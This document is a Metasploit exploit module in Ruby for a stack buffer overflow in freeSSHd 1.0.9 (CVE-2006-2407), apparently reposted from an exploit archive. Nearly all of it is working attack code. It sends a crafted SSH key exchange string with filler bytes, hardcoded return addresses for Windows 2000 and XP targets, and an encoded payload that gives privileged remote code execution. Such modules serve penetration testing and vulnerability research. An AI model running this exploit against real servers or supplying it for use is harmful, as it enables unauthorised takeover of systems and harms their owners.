freeSSHd 1.0.9 – Key Exchange Algorithm String Buffer Overflow (Metasploit)
## # $Id: freesshd_key_exchange.rb 9262 2010-05-09 17:45:00Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'FreeSSHd 1.0.9 Key Exchange Algorithm String Buffer Overflow', 'Description' => %q{ This module exploits a simple stack buffer overflow in FreeSSHd 1.0.9. This flaw is due to a buffer overflow error when handling a specially crafted key exchange algorithm string received from an SSH client. }, 'Author' => 'MC', 'License' => MSF_LICENSE, 'Version' => '$Revision: 9262 $', 'References' => [ ['CVE', '2006-2407'], ['OSVDB', '25463'], ['BID', '17958'], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 500, 'BadChars' => "\x00", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x77e56f43 } ], [ 'Windows XP Pro SP0 English', { 'Ret' => 0x77e51877 } ], [ 'Windows XP Pro SP1 English', { 'Ret' => 0x77e53877 } ], ], 'Privileged' => true, 'DisclosureDate' => 'May 12 2006', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(22) ], self.class) end def exploit connect sploit = "SSH-2.0-OpenSSH_3.9p1" sploit << "\x0a\x00\x00\x4f\x04\x05\x14\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\xde" sploit << rand_text_alphanumeric(1055) + [target.ret].pack('V') sploit << payload.encoded + rand_text_alphanumeric(19000) + "\r\n" res = sock.recv(22) if ( res =~ /SSH-2.0-WeOnlyDo 1.2.7/) print_status("Trying target #{target.name}...") sock.put(sploit) else print_status("Not running a vulnerable version...") end handler disconnect end end |